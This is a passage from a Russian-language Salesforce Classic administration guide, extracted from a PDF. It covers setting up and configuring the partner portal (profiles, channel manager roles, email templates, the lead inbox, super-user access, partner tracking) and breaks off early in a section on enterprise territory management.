параметры» для вкладок «Организации» и «Контакты».

• Добавьте вкладки «Организации» и «Контакты» на портал.

• Чтобыразрешить делегированным администраторампользователей портала просмотр только определенныхполей
организаций, контактов и обращений, настройте параметры безопасности поля и макеты страниц.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала
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Включение партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы включить
партнерский портал,
выполните указанные ниже
действия.
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Чтобы включить партнерский портал, выполните указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить партнерский портал».

4. Нажмите кнопку «Сохранить».

Прим.: Включение партнерского портала является необратимым. Тем не менее,
пользователямможетбытьзапрещенвходнапартнерскийпортал. Дополнительную
информацию см. в разделе «Конфигурация партнерского портала» на странице
2003.

Послевключенияпартнерскогопорталапользовательможетсоздатьнесколькопартнерскихпорталов, удовлетворяющих
различным бизнес-требованиям клиентов.

Прим.: Каждаяорганизацияможет создаватьнеболее 5 партнерскихпорталов. Чтобыувеличитьданноеколичество,
обратитесь к менеджеру по продукции и подробно опишите случаи использования.

Ниже перечислены элементы, которые автоматически добавляются в организацию после включения партнерского
портала.

Профиль «Пользователь-партнер»
Пользователям партнерского портала могут быть назначены производные профили. Убедитесь, что каждому
клонированномупрофилюненазначенополномочие «Пользователь только API». Впротивномслучае, пользователи,
связанные с профилем, не смогут выполнять вход на партнерский портал.

Кнопка «Включить как партнера» в записях организаций
Данная кнопка позволяет создавать организации-партнеры.

Кнопки «Включить пользователя партнерского портала» и «Просмотр пользователя партнерского портала» в
записях контактов

Данные кнопки позволяют создавать и просматривать пользователей-партнеров.

Группы «Всепользователипартнерскогопортала» и «Всевнутренниепользователи», а такжекатегорияправил
общего доступа «Роли и внутренние подчиненные роли»

Данные группы и категория правил общего доступа могут использоваться для создания правил общего доступа,
которые предоставляют всем пользователям партнерского портала или системы Salesforce доступ к конкретным
данным.
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ОписаниеГруппа или категория

Даннаягруппасодержитвсехпользователейпартнерского
портала в организации.

Группа «Все пользователи партнерского портала»

Данная группа содержит всех пользователей Salesforce в
организации.

Группа «Все внутренние пользователи»

Данная категория позволяет создавать правила общего
доступа для определеннойролипользователей Salesforce

Категория правил общего доступа «Роли и внутренние
подчиненные роли»

в организации и всех нижестоящих ролей, кроме ролей
партнерского портала.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала

Конфигурация партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Длянастройкипартнерского
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Созданный партнерский портал может быть настроен в соответствии с текущими
бизнес-требованиями. Настройка партнерского портала позволяет удовлетворить
потребности разных каналов распределения.

Чтобы настроить партнерский портал, выполните указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Щелкните имя нужного портала.

3. Настройте параметры портала и шаблоны сообщений.

4. Настройте шрифты и цвета, используемые на портале.

5. Настройте доступные вкладки портала.

6. Назначьте профили партнеров порталу.

7. Настройте языки портала.

8. При необходимости добавьте компонент «Приветствие партнерского портала» в макеты начальной страницы,
назначенныепользователямпортала. Данныйкомпонентотображаетиндивидуальноеприветствие, содержащееимя
менеджера канала распределения, а также ссылки на личный профиль и профиль компании.
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9. При необходимости добавьте компонент «Папка входящих интересов партнерского портала» в макеты начальной
страницы, назначенныепользователямпортала. Привходе на порталпользователямотображается списокинтересов
дляочередейинтересов. Чтобыпринятьответственностьзаинтерес, щелкнитессылку«Принять»напротивнужного
интереса. Подробные сведения об интересе отображаются только после выбора ссылки «Принять».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала

Назначение профилей партнеров партнерскому порталу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения профилей
партнеров партнерскому
порталу:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Пользователи портала могут входить только на партнерский портал, назначенный их
профилям. Чтобы назначить профиль партнерскому порталу, выполните указанные
ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Выберите имя нужного партнерского портала.

3. Щелкните «Редактировать профили» в разделе «Назначенные профили».

4. Установите флажок «Активно» напротив нужного профиля.

Пользователюпорталадоступнывсепартнерскиепорталы, назначенныеегопрофилю,
посредством одних регистрационных данных.

Чтобы просмотреть количество активных пользователей, связанных с каждым профилем, назначенным партнерскому
порталу, воспользуйтесь полем «Пользователи» в разделе «Назначенные профили».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала
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Рекомендации по партнерскому порталу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Советы по внедрению
• Пользователи портала могут входить только на партнерские порталы, назначенные их профилям.

Пользователю портала доступны все партнерские порталы, назначенные его профилю, посредством одних
регистрационных данных.

Чтобыпросмотреть количествопользователей, связанныхс каждымпрофилем, назначеннымпартнерскомупорталу,
воспользуйтесь полем «Пользователи» в разделе «Назначенные профили».

• URL-адрес входа для каждого созданного партнерского портала содержит уникальный идентификатор (например,
portalId=060D00000000Q1F). Данныйидентификаторотображаетсянастраницесведенийопортале. Уникальный
идентификатор определяет портал, доступный пользователю. Если используемый URL-адрес входа не содержит
уникального идентификатора, то пользователь автоматически перенаправляется на URL-адрес входа для первого
созданногопартнерскогопортала. Обратитевнимание, чтопользователипорталамогутвыполнятьвходнапартнерский
портал только посредством специальной страницы входа, а не страницы входа в систему Salesforce.

• Ниже перечислены элементы, параметры которых применяются к организации и партнерским порталам.

– Списковые представления

– Макеты поиска

– Предупреждения бизнес-правил

Рекомендации
• Каждыйсозданныйпартнерскийпорталподдерживаетнастройкушрифтов, цветов, шаблоновэл. почтыиприветствий,

поэтому организации могут создавать разные партнерские порталы для каждой поддерживаемой партнерской
организации или сообщества партнеров.

Прим.:  JavaScript и код CSS автоматически удаляются из HTML-файлов, используемых в качестве приветствия
портала.

• Партнерский портал не может быть удален. Чтобы запретить пользователям вход на портал, снимитефлажок «Вход
включен».

• При необходимости создайте несколько партнерских порталов, отображающих разные вкладки для пользователей
с одинаковым профилем, при условии, что профилю доступны все объекты, отображаемые на вкладке.

• Организациямпартнерскогопорталаможетбыть заданостандартноеколичестворолей. Такимобразом, партнерский
портал позволяет сокращать количество неиспользуемых ролей.

• Привключениипартнерскогопортала стандартныйпорталпомечаетсяфлажком «Вход включен». Снимитеданный
флажок и установите его только после настройки стандартного портала.
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• Сообщите пользователям-партнерамо возможностиназначенияменеджера канала распределения ответственным за
объект.

• Создайтемакетначальнойстраницыдляпользователей-партнеров, содержащийнастраиваемыессылкинапопулярные
функции.

• Компонент «Приветствие партнерского портала» может быть добавлен в макеты начальной страницы, назначенные
пользователямпартнерскогопортала. Привходенапорталпользователямотображаетсяиндивидуальноеприветствие,
содержащее имя менеджера канала распределения, а также ссылки на личный профиль и профиль компании. Имя
менеджера канала распределения, отображающееся в виде ссылки, может исспользоваться для отправки сообщений
эл. почты. Изменение сведений о пользователях портала инициирует обновление соответствующих записей
пользователей, но не поддерживает автоматическое обновление записей контактов.

• Чтобы настроить компонент начальной страницы «Настраиваемые ссылки», добавьте ссылки, доступные
пользователям-партнерам, или удалите данный компонент из макета начальной страницы.

• Пользователи-партнеры не могут задавать напоминания о задачах. Создайте процесс, позволяющий
пользователям-партнерам управлять задачами без напоминаний.

• Компонент «Папка входящихинтересов партнерского портала»может быть добавлен в макетыначальной страницы,
назначенные пользователям партнерского портала. Чтобы запретить пользователям партнерского портала выбор
интересов, доступных для принятия, рекомендуем скрыть важные поля интересов (например, «Название компании»
и «Имя интереса»).

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Советы по настройке менеджеров канала распределения на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Менеджеры канала распределения — это внутренние пользователи, управляющие
партнерами.Прежде чем включить портал, убедитесь, что менеджерам канала
распределения назначены соответствующие полномочия для управления партнерами.

Менеджеры канала распределения могут быть настроены посредством профилей и ролей.

Роли менеджера канала распределения
Уровень доступа пользователей к данным определяется иерархией ролей. Пользователи могут всегда просматривать и
редактировать собственные записи. Кроме того, пользователи могут всегда просматривать, редактировать и составлять
отчеты по данным, принадлежащим или доступным нижестоящим пользователям в иерархии ролей. Роли менеджеров
всегда располагаются над ролями пользователей-партнеров, предоставляя доступ ко всем данным, принадлежащим
подчиненным партнерам. При создании пользователей-партнеров система Salesforce автоматически добавляет роль
пользователей-партнеровнижеролименеджераканалараспределения, несущегоответственностьзаорганизацию-партнера.
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Чтобыупроститьпроцесс управленияменеджерамиипользователями-партнерами, создайтелогическуюструктуруролей
менеджеров канала распределения.

Профили менеджера канала распределения
Профили определяют полномочия, макеты страниц, вкладки и типы записей, доступные пользователям, а также другие
параметры. Создайте уникальный профиль и настройте его параметры для менеджеров канала распределения. Ниже
перечислены рекомендации по созданию данного профиля.

Предоставьте менеджерам канала распределения доступ ко следующим вкладкам:
«Интересы», «Организации», «Контакты», «Возможности», «Документы» и «Продукты». Такжерекомендуемпредоставить
менеджерам канала распределения доступ к решениям и настраиваемым объектам (при их наличии).

Назначьте типы записей.
Назначьте профилям менеджера канала распределения соответствующие типы записей интересов.

Назначьте макеты страниц.
Назначьте профилям менеджера канала распределения соответствующие макеты страниц. Убедитесь, что макет
страницы контактов, предназначенный для менеджеров канала распределения, содержит кнопки «Включить вход
на партнерский портал» и «Просмотр пользователя партнерского портала».

Включите полномочие «Управление партнерами».
Данное полномочие позволяет менеджерам канала распределения включать новые организации-партнеры и
пользователей-партнеров.

Предоставьте менеджерам канала распределения доступ к полю «Организация-партнер» в интересах,
организациях и возможностях.

Данное поле позволяет менеджерам канала распределения создавать списковые представления или отчеты для
отслеживания действий пользователей-партнеров.

Предоставьте менеджерам канала распределения доступ к полю «Дата последнего переноса» в интересах.
Данное поле позволяет менеджерам канала распределения создавать списковые представления или отчеты для
отслеживания действий пользователей-партнеров.

Дополнительные советы
• Создайте общедоступную группу для менеджеров канала распределения. Данная группа может использоваться для

фильтрации и определения уровня доступа к документам.

• Создайтеочередьинтересовдляменеджеровканалараспределения. Даннаяочередьможетиспользоватьсяправилами
назначения интересов.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала

2007

Предоставление пользователям права на совместное
использование данных с партнерами

Настройка и обслуживание инструментов продаж



Стандартные шаблоны сообщений партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения стандартных
шаблонов сообщений
партнерского портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Стандартные шаблоны сообщений могут быть настроены для каждого партнерского
портала. Стандартные шаблоны сообщений используются сообщениями партнеров,
кроме случаев выбора конкретныхшаблонов для отдельного портала. Кроме того,
стандартные шаблоны сообщений предназначены для общения с
пользователями-партнерами, назначенными нескольким порталам.

Чтобы настроить стандартные шаблоны сообщений для партнерского портала,
выполните указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Щелкните ссылку «Задать стандартныешаблоныэл. почтыдля всехпорталов».

3. Нажмите кнопку «Правка».

4. Заполните поля ниже.

Параметры электронных уведомлений

ОписаниеПараметр

Адрес эл. почты, используемый для отправки всех
шаблонов сообщенийпартнерскогопортала (например,

Адрес эл. почты отправителя

support@acme.com). Сообщения эл. почты отправляются
системой Salesforce автоматически, но данный адрес
отображается в поле отправителя. Ответ пользователя
портала на шаблон сообщения отправляется на данный
адрес.

Имя, связанное с параметром «Адрес эл. почты
отправителя» (например, «Служба поддержки Acme»).

Имя эл. почты отправителя

Шаблон эл. почты, используемый для отправки имени
пользователя и исходного пароля всем новым

Шаблон создания пользователя

пользователям партнерского портала. По умолчанию
образец шаблона выбирается автоматически. Данный
шаблон должен быть помеченфлажком «Доступно для
использования».

Шаблон эл. почты, используемый для отправки нового
пароля текущим пользователям партнерского портала
при восстановлении паролей.

Шаблон создания пароля
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Параметры электронных уведомлений

ОписаниеПараметр

Шаблон эл. почты, используемый для отправки нового
пароля текущим пользователям партнерского портала

Шаблон восстановления пароля

при восстановлении паролей посредством ссылки
«Забыли пароль?» на странице входа партнерского
портала.

Шаблон эл. почты, используемый для отправки
уведомления пользователям партнерского портала при
назначении ответственности за запись на портале.

Шаблон смены ответственного на пользователя портала

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала

Настройка компонента «Папка входящих интересов партнерского портала»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения и настройки
компонента «Папка
входящих интересов
партнерского портала»:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Компонент «Папка входящих интересов партнерского портала» может быть добавлен
в макетыначальной страницы, назначенныепользователямпартнерского портала. При
входенапорталпользователямотображается списокинтересовдляочередейинтересов.
Чтобы принять ответственность за интерес, щелкните ссылку «Принять» напротив
нужногоинтереса. Подробныесведенияобинтересеотображаютсятолькопослевыбора
ссылки «Принять».

Прим.: Папка входящих интересов отображается на начальной странице
пользователя только при наличии интересов, доступных для принятия.
Пользователь, принявший интерес, назначается ответственным, а сам интерес
удаляется из папки входящих.

Чтобы выбрать столбцы, отображаемые пользователям, добавьте компонент в макеты
начальной страницы, назначенные пользователям портала, и выполните указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры».

2. Щелкните имя нужного партнерского портала.
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3. Нажмите кнопку «Настроить папку входящих интересов».

4. Добавьте, удалите или измените порядок отображения полей в списке «Выбранные поля».

Прим.: Чтобы запретить пользователям партнерского портала выбор интересов, доступных для принятия,
рекомендуем скрыть важные поля интересов (например, «Название компании» и «Имя интереса»).

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала

Общие сведения об управлении пользователями партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Партнерские порталы поддерживают два типа пользователей: менеджеры канала
распределения и пользователи-партнеры.

Менеджеры канала распределения — это внутренние пользователи, управляющие партнерами.Прежде чем включить
портал, убедитесь, что менеджерам канала распределения назначены соответствующие полномочия для управления
партнерами.

Пользователи-партнеры — это пользователи Salesforce, которым предоставляется ограниченный доступ. Они являются
внешними пользователями организации, занимающимися реализацией продуктов или услуг через непрямые каналы
сбыта. Данные пользователи связаны с отдельной организацией-партнером, имеют ограниченный доступ к данным и
выполняют вход посредством партнерского портала.

В таблице ниже приведены ограничения для хранилища и функции, доступные пользователям-партнерам на портале.

Тип лицензии «Золотой партнер»

5 Мб хранилища данных на пользователяХранилище на лицензию

ДаДокументы

ДаПрофиль моей организации

ДаИнтересы

ДаНастраиваемые объекты

Да. Пользователимогутотправлять записинаутверждение
и просматривать статус запросов на утверждение в

Утверждения

связанном списке «Журнал утверждений» на страницах
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Тип лицензии «Золотой партнер»

сведений о записях, но не могут быть назначены
ответственными за утверждение.

ДаОрганизации

ДаВозможности

ДаSalesforce CRM Content (только чтение)

ДаОтчеты

ДаДелегированное администрирование внешних
пользователей

ДаЭл. почта

ДаОбращения

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала

Настройка стандартных параметров пользователя и роли партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения количества
ролей на организацию
портала:
• «Настройка

приложения»

Для включения доступа
суперпользователя-партнера:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Нижеперечисленыстандартныепараметрыпользователяиролипартнерскогопортала,
доступные для настройки.

• Задать стандартное количество ролей для организаций партнерского портала на
странице 2012

• Включить доступ суперпользователя-партнера на странице 2013

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала
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Роли для организации партнерского портала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения количества
ролей на одну организацию
портала:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Организациямпартнерскогопорталаможетбыть заданостандартноеколичестворолей.
Такимобразом, партнерскийпортал позволяет сокращать количествонеиспользуемых
ролей.Организациям может быть задано не более трех ролей.

Например, организации, включенной на партнерском портале, назначено три роли;
при необходимости количество ролей может быть сокращено до одной.

Чтобы определить количество ролей для одной организации партнерского портала,
выполните указанные ниже действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Параметры».

2. Щелкнитессылку «Задать стандартные параметры пользователя и роли портала».

3. Нажмите кнопку «Правка» на странице «Стандартные параметры пользователя и роли портала».

4. Выберите нужное количество ролей в раскрывающемся списке «Количество ролей».

5. Нажмите кнопку «Сохранить».

Данный параметр не меняет количество ролей для текущих организаций портала.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Ограничения для партнерских порталов

Параметры партнерского портала
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Включение доступа суперпользователя-партнера

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения доступа
суперпользователя-партнера:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Доступ суперпользователя-партнера может быть включен только в том случае, если
включена поддержка партнерского портала.

Чтобы включить доступ суперпользователя-партнера, выполните указанные ниже
действия.

1. Введите строку «Партнеры» в поле «Быстрый поиск» и выберите пункт
«Параметры».

2. Щелкнитессылку«Задатьстандартныепараметрыпользователяиролипортала»
на странице «Параметрыфункции управления отношениями с партнерами».

3. Нажмите кнопку «Правка» и установите флажок «Включить доступ
суперпользователя-партнера».

Чтобыотменитьдоступсуперпользователя-партнера, снимитефлажок «Включить доступ суперпользователя-партнера».
Обратите внимание, что повторное включение данной функции инициирует автоматическое предоставление доступа
суперпользователя всем пользователям, являвшимся суперпользователями ранее. Дополнительную информацию см. в
разделе «Назначение доступа суперпользователя-партнера».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала
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Отслеживание действий партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания настраиваемых
списковых представлений:
• «Чтение» для типа

записи, добавленного в
список

Для создания,
редактирования, сохранения
и удаления отчетов:
• «Запуск отчетов»

И

«Чтение» для записей,
добавленных в отчеты

И

«Создание и настройка
отчетов»

Для создания,
редактирования и удаления
панелей мониторинга:
• «Управление панелями

мониторинга»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Отслеживание действий партнеров позволяет повысить эффективность управления
интересами и возможностями. Поле «Организация-партнер», добавленное в интересы
ивозможности, позволяет создаватьнастраиваемыеотчетыисписковыепредставления,
предназначенные для отслеживания действий пользователей-партнеров.

Совет: Чтобы добавить все интересы или возможности, связанные с
организацией-партнером, воспользуйтесь фильтром «"Организация-партнер" не
равно» при создании спискового представления или отчета.

Нижеперечисленырекомендациипоотслеживаниюдействийпользователей-партнеров.

• Создайте списковые представления для просмотра действий партнеров над
интересами и возможностями за последнюю неделю.

• Создайте панель мониторинга для просмотра количества интересов, созданных за
последнюю неделю и принадлежащих партнерам.

• Создайте списковое представление интересов, назначенных партнерам, которые
давно не обновлялись.

• Создайте отчеты по прогнозам для возможностей пользователя-партнера.

• Чтобы найти интересы, которые не обновлялись своевременно, воспользуйтесь
полем интереса «Дата последнего переноса».

• При использованиифункции настраиваемого прогнозирования назначьте
пользователя менеджером прогнозов для каждой роли партнера в иерархии
прогнозов. Пользователю, назначенному менеджером прогнозов, предоставляется
доступ ко всем прогнозам нижестоящих пользователей в иерархии прогнозов.

Прим.: При переносе пользователей портала в другую организацию их роли
обновляются и выполняются следующие действия:

– ВозможностикаждойорганизацииSalesforceпересчитываютсяпосредством
иерархии прогнозов организации.

– Возможности, принадлежавшие пользователю партнерского портала, не
переносятся в новую организацию.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Параметры партнерского портала
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Установка параметров продаж

Управление территориями предприятия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция управления территориями предприятия позволяет моделировать территории
продажкаклогическую, ногибкуюструктуру, котораясвязываетторговыхпредставителей
с обслуживаемыми организациями.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.Функция управления территориями предприятия и функция
«Совместные прогнозы» могут быть одновременно включены и использоваться в
организации Salesforce, но в настоящее время не интегрированы для совместной
работы.

Исходная функция управления территориями Salesforce позволяет предоставлять
пользователям доступ к организациямна основе таких критериев, как почтовыйиндекс,
отрасль, доход или важное настраиваемое поле. Функция управления территориями
предприятиядополняетисходнуюфункциютипамитерритории, моделямитерриторииисостояниямимоделитерритории.
Данные компоненты поддерживают создание и предварительный просмотр разных стратегий и структур территорий
перед активацией и внедрением наиболее оптимального варианта. Кроме того, функция управления территориями
предприятия поддерживает более удобные назначения между территориями, организациями и возможностями. При
необходимости настраиваемые отчеты позволяют структурировать модель территории для оптимального покрытия,
оценивать эффективность территориииизменять текущуюмодель. Помере разработкии созданиямодели территории
Chatter может использоваться рабочей группой для совместной работы.

Полныеинструкцииповнедрениюданнойфункциисм. вРуководствеповнедрениюфункцииуправлениятерриториямипредприятия.

СМ. ТАКЖЕ:

Руководство по внедрениюфункции управления территориями предприятия

Понятия функции управления территориями предприятия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный раздел описывает функции и связанные понятия, встречающиеся при
использованиифункции управления территориями предприятия. Понимание данных
понятий позволяет повысить эффективность моделирования территорий.

Прим.: Данные сведения относятся только к функции управления территориями
предприятия.

Тип территории
Типы территории позволяют систематизировать территории по ключевым
характеристикам, важнымдлякомпании. Каждая созданная территориядолжнаиметь
тип территории. Типы территории используются только для систематизации и
создания территорий: они не отображаются иерархиями моделей территории.
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Приоритет типа территории
Сведения о приоритете типа территории позволяют выбирать соответствующий тип территории для создаваемых
илиредактируемыхтерриторий. Ввидуотсутствияпредопределенныхприоритетов, рекомендуемсоздатьсобственную
схему приоритетов. Например, приоритет «001» может указывает на самый высокий или самый низкий приоритет
типа территории. Убедитесь, что схема поддерживает возможность масштабирования по мере добавления других
типов территорий.

Территория
Территориипозволяютгруппироватьорганизацииипользователей Salesforce, работающихсданнымиорганизациями.
Территории создаются на основе типов территории.

Модель территории
Модель территории соответствует полной системе управления территориями, заданной для организации.
Моделированиеподдерживаетсозданиеипредварительныйпросмотрразныхструктуртерриторий, а такжеразличных
назначений организаций и пользователей, перед активацией наиболее оптимальной модели.

Иерархия территорий
Иерархия территорий отображает структуру территорий модели и является ее основной точкой взаимодействия.
Иерархия позволяет создавать, редактировать и удалять территории, выполнять правила назначения для территорий
и просматривать страницы сведений о территориях. Кроме того, иерархия позволяет назначать территории
возможностям, выполнять правила назначения на уровне модели и активировать или архивировать модель.

Состояние модели территории
Состояниемоделитерриторииопределяеттекущийстатустерритории. Одновременноорганизацияможетиспользовать
только одну модель территории в состоянии «Активно», но пользователи могут создавать и поддерживать разные
модели в состоянии «Планирование» или «Архивировано».

Как полномочия влияют на доступ к функциям и данным при использованиифункции управления территориями
предприятия?
Привнедрениифункцииуправлениятерриториямипредприятияпросмотритепоследствияназначенияполномочий
для администрирования и предоставления доступа к записям и данным.

Тип территории

ВЕРСИИ

Доступно в версиях:
